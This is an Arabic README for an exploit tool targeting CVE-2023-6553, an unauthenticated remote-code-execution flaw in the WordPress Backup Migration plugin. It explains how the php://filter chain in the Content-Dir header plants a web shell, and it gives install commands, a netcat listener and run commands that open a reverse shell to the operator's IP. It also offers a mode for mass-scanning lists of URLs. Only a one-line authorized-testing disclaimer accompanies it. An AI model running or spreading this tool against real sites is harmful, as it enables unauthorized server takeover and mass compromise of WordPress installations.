
يعتمد هذا الاستغلال على CVE-2023-6553 وقد تم بناؤه بناءً على الاستغلال الأصلي لـ Chocapik، مع إضافة إمكانية الحصول على شل عكسي مباشر.
نسخة موسعة من استغلال Chocapikk لـ CVE-2023-6553 تضيف وضع شل عكسية بأمر واحد فوق الشل التفاعلية الأصلية.
CVE-2023-6553 — تنفيذ أكواد عن بُعد بدون مصادقة في مكوّن ووردبريس Backup Migration (الإصدارات ≤ 1.3.7).
يعرض المكوّن الملف backup-heart.php الذي يقرأ سلسلة فلترة PHP من رأس HTTP Content-Dir ويمررها إلى include() دون مصادقة أو تنقية. وهذا يسمح لمهاجم غير مصادق بتنفيذ كود PHP عشوائي عن طريق حقن سلسلة php://filter مبنية.
الاستغلال الأصلي بواسطة Chocapikk — كل منطق الاستغلال الأساسي (توليد سلسلة الفلترة، كتابة الملف، الشل التفاعلية) هو من عمله. هذا المستودع فقط يوسعه بوضع تشغيل الشل العكسية.
الإضافات الوحيدة هي:
trigger_reverse_shell() — بعد نشر الشل (نفس العملية الأصلية)، ترسل طلب GET واحد مع أمر الشل العكسية كمعامل 0، تمامًا كما تفعل الشل التفاعلية.main() — استبدال interactive_shell() بـ trigger_reverse_shell() عند وجود -r.كل شيء آخر — فحص الثغرة، حلقة كتابة الملف، النسخ/الحذف، الوضع التفاعلي، الفحص متعدد العناوين — لم يُمس من الأصل.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Start your listener first
rlwrap nc -lvnp 4444
# Run the exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
إذا كان bash /dev/tcp غير متوفر على الهدف، استخدم mkfifo (يعتمد على nc بدلاً من ذلك):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url عنوان الهدف الأساسي (مثل http://target/blog)
-r / --revshell تفعيل وضع الشل العكسية
-l / --lhost عنوان IP الخاص بك لاستقبال الشل (مطلوب مع -r)
-p / --lport منفذ المستمع الخاص بك (الافتراضي: 4444)
--shell نوع الشل: bash (الافتراضي) أو mkfifo
-c / --check فحص الثغرة فقط، لا تنشر شل
-f / --file ملف بقائمة العناوين للمسح
-t / --threads عدد الخيوط لمسح متعدد العناوين (الافتراضي: 5)
-o / --output ملف الإخراج لنتائج المسح
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<encoded PHP>
→ يكتب الشل حرفًا بحرف إلى ملف مؤقت
→ ينسخ الملف المؤقت إلى <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
→ ينفذ الأمر عبر عامل backtick
→ الوضع التفاعلي: حلقة تقرأ الأوامر من stdin
→ وضع الشل العكسية: يرسل أمرًا واحدًا لـ bash/mkfifo، يتصل بالمستمع
3. التنظيف: حذف (<random>.php)
هذه الأداة مخصصة لاختبار الاختراق المصرح به والبحث الأمني فقط. لا تستخدمها ضد أنظمة ليس لديك إذن صريح لاختبارها.
| الميزة | الأصلي (Chocapikk) | هذه النسخة |
|---|
| شل تفاعلية | ✅ | ✅ (بدون تغيير) |
| شل عكسية | ❌ | ✅ (-r) |
| فحص متعدد العناوين | ✅ | ✅ (بدون تغيير) |
| وسائط جديدة | — | -r, -l, -p, --shell |